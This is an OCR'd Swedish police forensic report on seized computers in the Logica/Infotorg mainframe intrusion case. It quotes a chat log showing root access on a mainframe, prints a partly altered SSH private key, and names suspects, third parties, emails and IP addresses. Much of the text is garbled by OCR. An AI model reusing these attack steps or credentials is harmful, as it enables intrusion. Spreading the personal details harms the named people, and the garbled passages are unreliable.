Wed , 2 0  Oct 2 0 1 0  0 1 : 1 9 : 3 2  + 0 2 0 0  

Oallokerad data 

Filen rhytmbox.xml 

I den oallokerade delen av hårddisken återfanns en fil som har haft namnet 
"rhythmbox.xml " och som har tillhört programmet Rhythmbox. Rhythmbox är 
en musikspelare och söker igenom de kataloger användaren ställer in för att 
hitta media filer. I detta fall har alla filer från "/ho me " katalogen med 
underkataloger genomsökts. 

Detta har inneburit att även de filer som vid tiden före ominstallationen legat i 
katalogen "lhome/luciddream/Program/infotorg/" har genomsökts . Totalt har 
Rhythmbox påträffat 29 864 unika filer och underkataloger till "infotorg " 
katalogen. 

Nedan visas ett utdrag ur filen som totalt omfattar 5 1 5  sidor. Filen återfinns i 
sin helhet i bilaga 20 1 2-020 1 -BG1 022 1 - 19 . 3  Rhytmbox. 

/ h ome/ l u c i d d ream/P rogram/ infotorg/ infotorg/_A/ u s r/ l i b / n l s /msg/C/gld s d bm . cat 
/home/ l u c i d d ream/ P rogram/ infotorg/ infoto rg/_A/ u s r/ li b/ n l s /msg/C/gldxpd i r . cat 
/home/ l u c i d d ream/P rogram/ infotorg/ i nfoto rg/_A/ u s r/ li b / n l s /msg/C/I BM/CDAHH040 
/ h ome/ l u c i d d ream/P rogram/infotorg/ i nfotorg/_A/ u s r/ l i b / n l s /msg/C/ i kympkid . c at 
/home/ l u c i d d ream/Program/ infotorg/ infotorg/_A/ u s r/ l i b / n l s /msg/C/ i kympreg . c at 
/ home/ l u c i d d ream/P rogram/ infotorg/ i nfoto rg/_A/ u s r/ li b / n l s /msg/C/mp c i_e r r . cat  
/ h ome/ l u c i d d ream/P rogram/ infotorg/ infotorg/_A/ u s r/ l i b / n l s / msg/C/ms rpcgen . c at 
/ h ome/ l u c i d d ream/Program/ infotorg/ infotorg/_A/ u s r/ l i b / n l s /msg/C/msrpc l i b . c at 
/ h ome/ l u c i d d ream/ P rogram/ infotorg/ infotorg/ A/ u s r/ l i b / n l s/msg/C/ n s s ctlmsg . c at 

Utdrag 9 Utdrag ur filen "rhythmbox.xml " 

28 
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Ospecifierad data 

I den oallokerade delen av hårddisken har det påträffats en stor mängd fynd, 
alla med liknande ospecificerad data. Denna data har presenterats för Logicas 
representant, se PM gällande Elisabeth Cummesson Logica. Kombinationen 
av termer talar för att det kommer från deras system. 

_D5N09015DB2AI 5 E DAFA005 E5 EM2AI5 EMCICA35A55 ENTRIT520015IT52 
E484P0101990 · 7187 - 054-3850-
E077  · T · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · ·  

· · · · · · n · · QX5T · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · 

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  · + · . . . . . . . . . . . . . . . . . . . . . . . .  . 
· · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · e · · · · · j · 'f� DB2AG " bi F A >  • • · • • • · · e · · · · DB2AI 
5 E DAFA005E5 EM2AIG " a ] B ' · · · · · · · · · � · · IT52 ENTRIT5200155EMCICA3 E484P010IT52 

· · · · · · · · · · · · · · · · · · · · · · «y · Wa 0 
; f · o · · ·  ] 5Yl9 · · · · · · TE RMRo�&iU · dC81 F · · · · · · · : · < · · TCPFTP GTINYTE · · · 5 · ·  
; f · O · · . ] 5Yl9 · ·  . . .  · T E RMä } · · 1�9 K · BZ " · . . . . . . · < · · 5 EMCICA35 EMCICA3 · . · 5 · . 
· & · o} · ·  ] 5Yl9y · · · GTINYTE E 3 3 1001R · ; · · 0 · · · 5 5 E43784TCPFTP 
· · · · · · ] · · · · a · · · · · 7750 · · · · · · · · · · · · · · · · E484 . D55 . PB060312 . IM5DAG7 · · · · · · 

· · · · FTPFTP · · DATA5 ET · · · E484 . * . * * · · E484 · · PGM- PGM TE5T P 
E RIC5 · && · · · · · ä · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · 5 5 E43784 · · · · · · · · GTINYTE 
E 3 3 1001R 
; f · oi · ·  ] 5Yl9 · · · · · · TE RMRo�&iU · dC : l E · · · · · · � · · < · · TCPFTP GTINYTE · · · F · ·  ] 
; f · oi · ·  ] 5Yl9 · · · · · § RETR5EQ iU · dRo�& GTINYTE 
I 5 F H · · · F · · · H · · � · 5250/ u s r/ l i b / n l s / locale/es_CO . I508859 - l . lp64 
FTPDl s ema inf  UI · · · � · · a · · · · · · · · · · · · · / u s r/ l i b / n l s / locale/es_CO . I50885 9 -
l . lp64 · . 
; f · oi · ·  ] 5Yl9 · · · · · · INITä } · · l�9K · BZa · · · · · · · · · < · · 5 EMCICA35EMCICA3 · · · · · ·  

Utdrag l O Ospecificerad data från Logi ca 

l I5R5UPC MV5/PDF  F I L E / L I N E /WORD/BYT E / 5 FOR COMPARE UTI L ITY- I 5 P F  FOR 
z/05 2006/10/27 14 . 22 PAGE l 

L I N E - Ä  50URCE 5 ECTION 5RCH D5N : E 342 . EDIMEMO . RETRI EVE 

58  * * * * * * * * * * * * * * * * * *  END OF MEMO 

116 * * * * * * * * * * * * * * * * * *  E N D  OF MEMO 

174 * * * * * * * * * * * * * * * ** *  END OF MEMO 

233  * * * * * * * * * * * * * * * ** *  END OF MEMO 

290 * * * * * * * * * * * * * * * * * *  E N D  OF MEMO 

347 * * * * * * * * * * * * * * * * * *  END OF MEMO 

404 * * * * * * * * * * * * * * * * * *  END OF MEMO 

462 * * * * * * * * * * * * * * * * * *  END OF MEMO 

520 * * * * * * * * * * * * * * * * * *  END OF MEMO 

578 * * * * * * * * * * * * * * * ** *  END OF MEMO 

636 * * * * * * * * * * * * * * * * * *  END O F  MEMO 

694 * * * * * * * * * * * * * * * * * *  END OF MEMO 

7 5 2  * * * * * * * * * * * * * * * * * *  END OF MEMO 

810 * * * * * * * * * * * * * * * * * *  END OF MEMO 

868 * * * * * * * * * * * * * * * * * *  END OF MEMO 

926 * * * * * * * * * * * * * * * * * *  END O F  MEMO 

5Ö06063292 * * * * * * * * * * * * * * * *  
5Ö06063292 * * * * * * * * * * * * * * * *  
5Ö06063292 * * * * * * * * * * * * * * * *  
5Ö06063292 * * * * * * * * * * * * * * * *  
5Ö06063292 * * * * * * * * * * * * * * * *  
5Ö06063292 * * * * * * * * * * * * * * * *  
5Ö06063292 * * * * * * * * * * * * * * * *  
5Ö06063292 * * * * * * * * * * * * * * * *  
5Öet000001 * * * * * * * * * * * * * * * *  
5Öet000002 * * * * * * * * * * * * * * * *  
5Öet000004 * * * * * * * * * * * * * * * *  
5Öet000003 * * * * * * * * * * * * * * * *  
5Öet000003 * * * * * * * * * * * * * * * *  
5Öet000003 * * * * * * * * * * * * * * * *  

5Öet000003 t i l  * * * * * * * * * * * * * * * *  

5Öet000003 fel * * * * * * * * * * * * * * * *  

l I5R5UPC 
z/05 

MV5/PDF  F I L E / L I N E /WORD/BYT E / 5 FOR COMPARE UTI L ITY- I5PF FOR 
2006/10/27 14 . 22 PAGE 2 

5 EARCH - FOR 5UMMARY 5 ECTION 5RCH D5N : E 342 . EDIMEMO . RETRI EVE 
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L I N E S - FOUND L I N E S - PROC DATAS ET-W/ LNS DATAS ET-WO/ LNS COMPARE - COLS LONG EST
LINE  

16  926 l 1 : 160 

PROC ESS OPTIONS US ED : ANYC 

THE FOL LOWING PROC ESS STATEMENTS ( USING COLUMNS 1 : 72 )  WERE  PROCESSED : 
S RCHFOR ' END OF MEMO ' 

ISRS004I LISTING LINES  MAY B E  TRUNCATED DUE TO LIMITING OUTPUT LINE  WIDTH . 

Utdrag 1 1  Trolig logg från en sökning i ett dataset vid namn: E342.EDIMEMO.RETRIEVE 

Personnummer 

I den oallokerade delen av hårddisken återfanns l O  464 personnummer. 
Samrna personnummer har påträffats i filen "E484.DAF1496. SKYDDADE 
. READREAD " i materialet från Ubuntu One. 

lP-adresser 

160 

På den undersökta hårddisken söktes det efter de lP-adresser som använts vid 
dataintrånget mot Infotorg och Logi ca. Två av dessa adresser gav träff i den 
undersökta datorn. 

46.59.19.114 

Bahnhof, spårat via Quadracom till Gustafsson 

lP-adressen förekom bland annat i filen "/home/lisa/.mozilla!firefoxlmqc4i2cf 
default/cookies. sqlite " som innehåller cookies från webbsidor som besökts 
med webbläsaren Firefox . Se exempel nedan. 

WT_FPCid=46 . 59 . 19 . 114-
33395 36320 . 30218205 : lv=1334219395887 : s s =1334219395887 . swedba n k . se 

Utdrag 1 2  Det markerade värdet motsvarar den 1 2  april 20 1 2  klockan 10:29:55 (CET) 

46.59.51.181 

Bahnhof, spårat via Quadracom till Gustafsson 

lP-adressen förekom bland annat i filen "root!mozilla/firefox/7wohps2w. 
default/places. sqlite " som innehåller cookies från webbsidor som besökts med 
webbläsaren Firefox. Se exempel nedan. 

WT_FPCid=46 . 59 . 51 . 18 1 -
3129651392 . 30202323 : lv=1330812757740 : s s=1330812049803 . bet s son . com 

Utdrag 13 Det markerade värdet motsvarar den 3 mars 20 1 2  klockan 23 : 1 2 :37 (CET) 

Fjärrtjänster 

Kontroll har gjorts för att se om serverdelen i SSH eller om VNC varit 
installerade. Serverdelen i SSH var inte installerad. "Vino", ett VNC program 
som installeras per default i Ubuntu var aktiverat för anslutning utan lösenord 
och för möjlighet att styra mus och tangentbord. 
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Kontroll av loggfiler visar inte p å  några tecken av fjärranslutningar. 

Analys och slutsats 

På den undersökta datorn påträffades ett flertal filer med lösenord till hackade 
trådlösa accesspunkter från området runt Gustafsson adress. Bland dessa 
återfanns Mikael Backes och Linnea Wikströms trådlösa nätverk. Dessa har 
använts vid intrånget mot Logica och Applicate. 

Det kan konstateras att det finns spår som talar för att datorn har haft två av de 
lP-adresser som också använts vid dataintrånget 20 1 2. 

Med hjälp av den raderade filen "rhythmbox.xml " kan det konstateras att stora 
mängder filer från Logica och Infotorg tidigare varit lagrade på hårddisken. 
Detta bekräftas även av de rester av data som påträffats även de i den 
oallokerade delen av hårddisken. 

De raderade epost som påträffats visar att Gustafsson förutom filer också haft 
tillgång till Infotorgs webbtjänster. 

Ett flertal referenser finns till material lagrat på Passagen.se. 

2012-0201-BG10221-26 

Hårddiskchassi !omega, svart 
Hårddisk Seagate Barracuda, 80GB, s/n 5JVN62LP 

Bild 3 1  Bild 32 

Iakttagelser och undersökningar 

Hårddisken i chassit var av typen IDE medan chassits anslutning var av typen 
SATA. 

På hårddisken återfanns en installation av Windows XP. Där fanns ett skapat 
användarkonto, "m". Ingen fil på disken hade en tidsstämpel för 
skapandedatum efter den 2 april 20 1 1 .  

På hårddisken fanns rester av epost, chat och internethistorik Namn som 
återkom ofta var Mohamad Hoosh Mohamad och Nafisha Abdudlle. 
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Analys och slutsats 

Då disken och chassit hade olika typer av anslutningar kan de aldrig varit ihop 
monterade. Hårddisken kan aldrig ha använts i detta chassi. 

På hårddisken återfanns ingenting som kunde kopplas till utredningen om 
dataintrång. Inte heller återfanns namnen Mathias Gustafsson eller Lisa 
Bergström på hårddisken 

2012-0201-BG10221-29 - "trasig hårddisk" 

Dator HP Compaq nc4000, SIN: CNU34002P6 
Hårddisk Hitachi DK23EB 40GB, SIN: WDANHALP4022 

Bild 33 Bild 34 

Iakttagelser och undersökningar 

Hårddisken var trasig men reparerades och speglades av Ahlbergs data i 
Nacka. 

Operativsystem 

På hårddisken var operativsystemet Ubuntu l 0. 1 O installerat, sannolikt 
installerat den 1 2  april 20 1 1 . Det fanns två användarkonton, "luciddream " och 
"ubuntu " .  

Filer och kataloger 

Filen 9f65bee4-e404-4bcd-96a5-b22783fdcd58.ulpartial. infotorg.tar.gz 

I katalogen " Partitian 1/home/luciddream/. cache/ubuntuone/partials/" 
påträffades den komprimerade filen "9f65bee4-e404-4bcd-96a5-
b22 783fdcd58. u l partia l. infotorg. tar " 
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F I LNAMN SÖKVÄG 

9f65bee4 - e404 -4bcd - 96a 5 - Pa rtitian l 
b22783fdcd58 . ulpa rtia l . infotorg . home/l u c idd ream/ . c a c he/ubun  
t a r  t uone/ pa rt i a l s/ 
S KAPAD l n/a  J CET  
S E NAST ÄNDRAD l 2011 - 03 - 21 18 : 16 : 21 l C ET 

Filerna i denna katalog är filer som delvis synkroniserats med Ubuntu One. 
Den komprimerade filen innehåller rester av totalt 924 dataset De flesta senast 
ändrade den 20 mars 20 1 1  samt några senast ändrade den 30 j anuari 20 10 .  

För en fullständig förteckning över filerna se bilaga 20 1 2-020 1 -BG l 022 1 -29 . l  
Fillista för partial.infotorg.tar.gz, filen omfattar totalt 20 sidor. 

Katalogen wep 

I katalogen "/home/luciddream/Program/keyslwep/" påträffades 24 
textdokument med lösenord till trådlösa accesspunkter. 

: ' · · · -'0 wpa 
j - · · ·0 kismet 

j- · · ·C"E:J uamiff 

i · · C::>o wordl ist 

� L . . .  C::>t:J xhydra 
j - · · ·C::>t:J Public 

j - · · ·OICJ Templates 
liJ··OO Ulbuntu One 

r:i:J . .  L) Videos 

Bild 35 Beskrivning av katalogstrukturen "/home/luciddream/Programlkeyslwep/" 

Filer med samma namn och innehåll har även påträffats i beslag 20 1 2-020 1 -
B G  l 022 1 - 14, i beslag 20 1 2-020 1 -B G  l 022 1 - 1 9  samt i det material som 
inhämtats från passagen. se. 

Katalogen infotorg 

I katalogen " /home/luciddream/infotorg " påträffades l l 02 tomma kataloger i 
en speciell struktur, se bilaga 20 1 2-020 1 -BG 1 022 1 -29 .2  Fillista för katalogen 
infotorg, filen omfattar totalt 1 6  sidor. 
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Katalogstrukturen under mappen u var enligt Elisabeth Gummesson p å  Logica 
unik för Logica och Applicate. Se Pm gällande Elisabeth Cummesson 
Logica). 

� � . . . .  C) d384 
. i· · · ·C dss2 

i · · · ·C d6 1o 
i· ···C d666 
i··· ·c> d700 
i· · · ·C da38 
i · · · ·C e077 
! · · · ·C e203 
l · · · ·C e478 
i · · · ·C e484 
l · · · ·C e780 
! · · · ·C e784 
i · · · C e897 

li1-·C) saipts 
! · · · ·C static 
i· · · ·C v384 

. L . .  C) webtek 
�-- L> uko 

Bild 36 Beskrivning av katalogstrukturen "!home/luciddreamlinfotorg ". Den vänstra delen av bilden visar kataloger 
under katalogen "infotorg". Den högra bilden visar katalogen "u " expanderad. 

lP-adresser 

På den undersökta hårddisken söktes efter de lP-adresser som använts vid 
dataintrånget mot Infotorg och Logica. Två av dessa adresser gav träff i den 
undersökta datorn: 

46.59.19.227 

Bahnhof, användes vid intrång mot Logi ca 20 1 1 .  

lP-adressen förekom 3 552 gånger på hårddisken bland annat i filen 
"lhome/luciddreaml. mozilla!firefox2/mqc4 i2 c f default/cookies. s q lite " som 
innehåller cookies från webbsidor som besökts med webbläsaren Firefax 

WT_FPCid=46 . 59 . 19 . 227 -
815795360 . 30139965 : lv=1300542879226 : s s =1300542879226www . s a s . se 

Utdrag 14 Det markerade värdet motsvarar den 1 9 mars 201 1 klockan 1 4 :54:39 (CET) 

WT_FPCid=46 . 59 . 19 . 227-
3409570784 . 30140396 : lv=1300728259785 : s s =1300728253304www21 . vv . se 

Utdrag 1 5  Det markerade värdet motsvarar den 2 1  mars 20 1 1  klockan 1 8 :24 : 1 9  (CET) 

85.228.55.132 

Bahnhof, användes vid intrång mot Logica 20 1 1 .  
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lP-adressen förekom 16  gånger bland annat i ett skickat epost under sökvägen 
"/home/luciddreaml. thunderbirdlaflwcuon.default/lmapMail/imap. 
googlemail. comi[Gmail].sbd/Sent Maillentry #0168425 " 

< lu c idd ream@gma i l . com>Received : 
from [ 192 . 168 . 1 . 66 ]  ( c - 8437e45 5 . 145 - 6 - 64736c10 . c ust . bredba n d s bolaget . se 
[ 8 5 . 228 . 5 5 . 13 2 ] ) by mx . google . com with ESMTPS id  
c11sm3528382bkc . 2 . 2011 . 03 . 20 . 05 . 12 . 25 ( vers ion=SSLv3 c ipher=OTH E R ) ; S u n ,  20 Ma r 
2011 05 : 12 : 26 - 0700 ( PDT ) Me s s a ge - ID :  
<4D8 5 E F 2 6 . 4040303@gma i l . com> 
S u n ,  20 Mar 2011 13 : 12 : 22 +0100 
Mat h i a s  Gustafsson  < lu c iddream@gma i l . com>Use r - Agent : 

Utdrag 1 6  Utdrag ur "/homelluciddream/.thunderbirdlaflwcuon.defaultllmapMaillimap.googlemail. com![Gmail].sbd 
/Sent Maillentry #0168425 " 

Epos t 

Mailklienten Thunderbird är installerad och har konfigurerats för att ta emot 
och skicka epost med gmailkontot luciddream@gmail .com. Totalt återfanns 
3 873 epost, endast fyra av dessa bedömdes vara av intresse för utredningen. 
Tre av dessa är samma som påträffades i beslag 20 1 2-020 1 -BG1022 1 - 19 .  

Fro m :  
To : 
Subject: 
Sent: 
Path : 

Fro m :  
To: 
Subject :  
Sent: 
Sökväg : 

Fro m :  
To : 
Subject :  
Sent: 
Sökväg : 

Fro m :  
To : 
Subject: 
Sent: 
Sökväg : 

Rickard Björk < rickard . bjork@g m a i l . co m >  

l u c i d d rea m @ g ma i l o co m  

S P I N  

S a t ,  2 3  Apr 2 0 1 1  08 : 5 3 : 43 + 0 2 0 0  

/home/luc idd ream/ o th u n d e rb i rd/af1wcuo n o defa u l t/I m a p M a i l  
/ i m  a p o goog l e m a i l o com/[Gma i l ]  o sbd/Trash/ 

Math ias G u stafsson < l uc iddrea m @ g m a i l . co m >  

Rickard Bjö rk < rickard o bjork@g ma i l . co m >  

Re : S PI N  

Sat, 2 3  Apr 2 0 1 1  09 : 08 : 54 + 0 2 0 0  

/home/luc idd rea m/oth underb ird/af1wcuo n o d efa u lt/I m a p M a i l  
/ i m a p o goog l e m a i l o co m/ [ G ma i l ] o sbd/Trash/ 

Math ias  G u stafsson < l uc iddrea m @ g m a i l . co m >  

sm ittsa m @ h us h o co m  

b i l a r  

Fri ,  1 5  Oct 2 0 1 0  1 2 : 39 : 0 5 + 0 2 0 0  

/home/luc idd rea m /  o thunderb i rd/af1 w c u o n  o de f a u l t/I m a p M a  i 1 /  
i m a p o g oog lema i l o com/[G m a i l ] o sbd/Sent M a i l  

M a t h i a s  G u stafsson < l uc iddrea m @ g m a i l o co m >  

robbadobbso ld ier@ h otm a i l o com 

b i l a r  

Wed , 20 Oct 2 0 1 0  0 1 : 1 9 : 3 2 + 0 2 0 0  

/home/ luc idd rea m /  o th u nderb ird/af1 wcuon o de f a u l t/I m a p M a i l/ 
i m a p o g oo g l e m a i l o co m/ [G m a i l ] o sbd/Sent M a i l  
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Mailen tillsammans med bifogade filer återfinns i sin helhet i bilaga 20 12-
020 1 -BG 10221 -29 .3  E-post, bilagan omfattar totalt 54 sidor. 

Fjärrtjänster 

Kontroll har gjorts för att se om serverdelen i SSH eller om VNC var 
installerat. Serverdelen i SSH var installerad. " Vino ", ett VNC program som 
installeras per default i Ubuntu var aktiverat för anslutning utan lösenord och 
för möjlighet att styra mus och tangentbord. 

Kontroll av loggfiler visar endast en inloggning via SSH den 23 april 20 1 1 . 
Det var från en intern lP adress 1 92. 1 68 . 1 . 142 och med kontot luciddream. 

Analys och slutsats 

På den undersökta datorn påträffades ett flertal filer med lösenord till hackade 
trådlösa accesspunkter från området runt Gustafsson adress. Bland dessa 
återfanns Mikael Backes och Linnea Wikströms trådlösa nätverk. Dessa har 
använts vid dataintrånget mot Logica och Applicate. 

Det kan konstateras att det finns spår som talar för att datorn har haft två av de 
lP-adresser som också använts vid dataintrånget 20 1 1 .  

Med hjälp av filen 9f65bee4-e404-4bcd-96a5-b22783fdcd58 .u l partial . 
infotorg.tar.gz kan det konstateras att stora mängder filer från Logica och 
lnfotorg har lagrats på datorn. Datumen då dessa filer senast ska vara ändrade 
talar för att dessa härrör från intrång 20 l O och 20 1 1 . 

De raderade epost som påträffats visar att Gustafsson förutom filer också haft 
tillgång till lnfotorgs webbtjänster. 

Ett flertal referenser finns till material lagrat på Passagen. se. 

Inhämtad data från Passagen.se 

Vid undersökningen av materialet i bostaden, kunde det konstateras att 
Gustafsson även lagrat material på Passagen.se varför material därifrån 
inhämtades .  

Iakttagelser och undersökningar 

Kontot var enligt passagen.se registrerat den l december 1 999 med namnet 
Gustafsson. Se bilaga Passagen. l - Medlemsinfo_dirox. 

Filer och kataloger 

Materialet från passagen innehöll 3 679 filer varav flera var komprimerade 
arkiv som i sin tur innehöll ytterligare ett antal filer, totalt 74 786 filer varav en 
del förekom på flera ställen. 
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Filen databaser 

Filerna "databaser " och "databaser" innehöll en loggad anslutning till 
ftp.infodata. se. 

F I LNAMN l SÖKVÄG 

databaser  l /data baser  
SKAPAD l n/a  l 
S E NAST ÄNDRAD l 2En2 - e3 - e7 12 : se : 39 l CET 

F I L NAMN l SÖKVÄG 

databa ser  l / Linux/databa ser  
S KAPAD l n/a  l 
S E NAST ÄNDRAD 1 2812 - 83 - 29 11 : 48 : 16 l CET  

En fil med samma namn och innehåll har även påträffats i beslag 20 1 2-020 1 -
B G  1022 1 - 1 3  samt i det material som inhämtats från Ubuntu One. 

Filen ftpinfotorg.se _webserver _listing.txt 

Filen "tpinfotorg. se_webserver _listing. txt " innehöll en listning över filer i 
Logicas stordatorsystem. 

F I LNAMN SÖKVÄG 

ftpinfotorg . se_webserve r_list /ftpinfotorg . se_webserver_li s  
ing . txt ting . txt 
SKAPAD l n/a  l 
S E NAST ÄNDRAD l 2812 - 83 - 28 17 : 43 : 84 l CET  

En fil med samma namn och innehåll har även påträffats i beslag 20 1 2-020 1 -
B G  1 022 1 - 1 3 .  

Filen kontonin/o 

Filen "kontoninja " påträffades i två kataloger, den innehöll an vändarnamn och 
behörigheter för ett antal konton med lösenorden "sommar" eller "vinter" : 

F I L NAMN l SÖKVÄG 

konton info l / kontoninfo 
S KAPAD l n/a  l 
S E NAST ÄNDRAD 1 2812 - 83 - 29 23 : 36 : 41 l CET  

F I L NAMN l SÖKVÄG 

kontoninfo l / Lin ux/ konton info 
S KAPAD l n/a  l 
S E NAST ÄNDRAD 1 2012 - e4 - 1 1  e s :  22 : 2 5  l CET  

En fil med samma namn och innehåll har även påträffats i beslag 20 1 2-020 1 -
B G  l 022 1 - 1 3  samt i det material som inhämtats från Ubuntu One. 
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Filen infotorgusers.xls 

Filen "infotorgusers.xls " påträffades i två kataloger, den innehöll 
användaridentitet, namn och behörigheter för 3 205 användare på Infotorg. En 
stor del av dessa var anställda inom polisen. Metadata visar att filen sparats 4 
gånger, senast sparad av användaren "luciddream" den 9 mars 20 1 2  klockan 
6 .58 .  

F I L NAMN l SÖKVÄG 

infotorgu sers . xl s  l / infotorgusers . xls  
S KAPAD l n/a  l 
S E NAST ÄNDRAD l 2 0 1 2 - 0 3 - 09 1 2 : 3 6 : 40 l CET  

F I L NAMN l SÖKVÄG 

i nfotorgu sers . xl s  l / L i nux/ i nfotorgu sers . xl s  
S KAPAD l n/a  l 
S E NAST ÄNDRAD 1 2 0 1 2 - 0 3 - 29 1 1 : 3 5 : 5 5 l CET 

En fil med samma namn och innehåll har även påträffats i beslag 20 1 2-020 1 -
B G  1022 1 - 1 3  samt i det material som inhämtats från Ubuntu One. Därtill har 
samma fil påträffats hos Svartholm W arg i beslag 20 1 2-0201 -BG25023-26. 

Filen vfqfssij.jpg 

Filen "vfqfssij.jpg " innehöll en skannad bild föreställande ett Kambodjanskt 
körkort utställt till Svartholm W arg. 

F I L NAMN l SÖKVÄG 

vfqfssi j . j pg l / B i lde r/vfqfs si j . j pg 
S KAPAD l n/a  l 
S E NAST ÄNDRAD l 2 0 1 0 - 0 3 - 1 2 1 0 : 1 8 : 40 l CET  
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Bild 37 Skannad bild föreställande ett Kambodjanskt körkort utställt till Svartholm W arg 

Filen rootinfo 

Filen "rootinfo " innehöll delar av en sparad chatkonversation mellan 
Gustafsson, alias "d/ROX" och Svartholm Warg, alias "tLt " .  

F I L NAMN l SÖKVÄG 

rootinfo l / rootinfo 
S KAPAD l n/a  
S E NAST ÄNDRAD 1 2012 - 03 - 29 12 : 5 5 : 37 

020 1 -K8 1 864- 1 2  

l 
l C ET 

Nedan visas filen "rootinfo " i sin helhet. Justeringar har gjorts för att öka 
läsbarheten, detta innefattar val av typsnitt, ram runt texten samt att extra 
radbrytningar har tagits bort. 

< t l t >  d i r  ; komma ndo ; 
< d i ROX> bra att vi h a r  en v a r s i n  hj ä rna  
< t lt >  n a r  man a r  i hfs  dvs d ragit c d  l 
< t l t >  ' t ricket ' e att man maste stanga av globbing i klienten : )  
< t l t >  du  vet da  a n ropar  ftp s e rvern l s  - l R  
< t l t >  o j a  n a n  smart s kalle  anvande v a l  system ( ) eller  s a  
< t l t >  : P  
< t lt >  . . .  o c h  h a r  holl  j a g  pa o s lavade med minneskorruptions buggar o s k a l kod o 
grej er  
< t l t >  a d s d s d s a a d s  
< t l t >  adadads  
< t l t >  port 443 : l i stening . 
< t l t >  waiting for the  APTba c k < TM> . . .  
< t l t >  alert ! ! !  adva n c ing port 443 t h reat ! 
< t l t >  a c c epted p e r s i stent t c p  connection  from 93 . 186 . 170 . 54 : 26773 
<tlt> $APTM1337  ENTERING ADVANC ED PRINTE R/TYPEWRITE R  MOD E 
< t l t >  pwd 
< t l t >  u n ame -a ; id 
< t l t >  05/390 SYS19 22 . 00 03 2817 
<tlt> uid=2147483647 ( B PXDF LTU ) gid=548400 ( E484 ) 
< d i ROX> men se på fan 
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<tlt>  : - ) 
< d i ROX> s å  vad innebä r det hä r n u  
< d i ROX> = ) 
< t L t >  c hrnod 7 5 5  /tmp/duku  
< t L t >  l3tz g3t  u s  s0m3 af d4t r00t ! @# 
< t L t >  eu : 0 u :  0 g :  0 
< t lt >  g0t r00t ? 
< t l t >  id 

20 1 3-0 1 -2 1  

< t L t >  uid=0 ( SU P E RUSR)  gid=0 ( STCGROUP ) groups=548400 ( E484 ) 
< d i ROX> kommer d u  åt a l lt n u ? s  

Utdrag 1 7  Utdrag ur filen "/rootinfo " 

Filen anakata.ssh 

020 1 -K8 1 864- 1 2  

Filen "anakata ss h "  innehöll delar av en sparad chatkonversation mellan 
Gustafsson, alias "d!ROX" och Svartholm Warg, alias "tLt " .  

F I L NAMN 1 SÖKVÄG 

ana kata s s h  l / a n a kata s sh  
S KAPAD l n/a  l 
S E NAST ÄNDRAD 1 2012 - 03 - 29 12 : 5 5 : 37 l C E T  

N edan visas filen " anakata ss h "  i sin helhet. Justeringar har gjorts för att öka 
läsbarheten, detta innefattar val av typsnitt, ram runt texten samt att delar av 
SSH-nyckeln har förändrats .  

< t Lt - >  < t Lt - >  <@t Lt - >  I s s u e r : O=VeriSign Trust  Network ,  OU=VeriS ign , 
I n c . ,  OU=VeriSign I nternationa l  Server CA - Cla s s  3 ,  OU=www . verisign . com/CPS 
Incorp . by Ref . L IABI LITY LTD . ( c ) 97 Ve riSign 
< t Lt - >  < t Lt - >  <@t Lt - >  Valid ity 
< t Lt - >  < t Lt - >  <@t Lt - >  Not Before : May 2 0  00 : 00 : 00 2010 GMT 
< t Lt - >  < t Lt - >  <@t Lt - >  Not After : May 1 9  23 : 59 : 59 2012 GMT 
< t Lt - >  < t Lt - >  <@t Lt - >  Subj ect : C=S E ,  ST=Stockholm,  L= R i s s n e ,  O=S E B ,  
OU=Group I T ,  CN=ls p0024a 
< t lt - >  btw 
< t Lt - >  s kriv n e r  denna  
< t Lt - >  e s s h - nyckeln  j ag bd ' at ett  actmin konto med 
< t Lt - >  PuTTY- User - Key - F i l e - 2 :  s s h - r s a  
< t Lt - >  E n c ryption : none 
< t Lt - >  Comment : r s a - key - 20120310 
< t Lt - >  Public - L ines : 4 
< t Lt - >  AAAAB3NzaC1yc2 EAAAAB JXAAAI EA1S ivj CJ 0vZxQWfQC J itj k6Gbawcomcowz+j K 
< t Lt - >  j J fq1mTR4EflxrGP j p bn7fiaXp9NTu2Uz9n iTqkjYBb9 FWgQITaPc6Gniq uXYx8V 
< t Lt - >  UqWw8yh 5yTJ 8xE 3 3 h zXsBXHsmlBr0RHj ifn0s j j s rYX9wCQ3WlGs sxgXMgM2TW1Q 
< t lt - >  gdf43PU= 
< t Lt - >  Private - Lines : 8 
< t Lt - >  AAAAgBc KnVt B / s h j 7QLORXvpA9ib2XNa u Ef6 L s peWxYeQua+ypTJ fX1DoNE 1 E ieQ 
< t Lt - >  f2Qs 5 c NX9Gl/U+zUA9MJZ3fvkwpPw5SkF6z3b3lwo0YUdZFfhltcnopBY9 F z0fPS 
< t Lt - >  Z0bgo8z bxTQ1Wq B8PQ8Y1NizNz keumiQv J n pqM6bqoDqaBmdAAAAQQD9j Z u 2 c kGu  
< t Lt - >  i0+Z1E41xeUZqd5ZVii / rt/Okxp/Z0Xg1KwdmJ UNvMWO+oD6k s rH389v J 8VJ P E H 5  
< t Lt - >  2BrrNo5aTAh LAAAAQQDXMLj 9WkkMRPAzWrwyq41bNR3AbCMxbVX4At uYSgTRq/4D 
< t Lt - >  atKSs aAsvWDluiDim LqGSOK0CmBYB LtiMM s F aee/AAAAQQCbl2nUmy5uDe J 9 P n 2 s  
< t Lt - >  cU7z bgbkb0bUBfL7RKCSA3b0/tQ3Pw0F uNTj l J yhe1DS6Rc kmR LhwGi n rR/H60SZ 
< t lt - >  yKmR 
< t Lt - >  Private - MAC : 87811b4b2e445c020745dX7ec3234010c07545f1 

Utdrag 18  Utdrag ur filen "/anakata ssh " 

Filen cracked2.txt 

Filen "cracked2. txt " innehöll användarnarnn och knäckta lösenord för 43 849 
RACF konton 

40 



U ndersökn ingsprotokol l  för beslag 20 1 2-020 1 -88 1 0221 Passagen och Ubuntu O ,  201 3-03-27 1 7 :42 d iarienr: 020 1 - 8 1 8E 

297 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

F I L NAMN l SÖKVÄG 

c ra c ked2 . txt l l c r a c ked2 . txt 
S KAPAD l n/a  l 
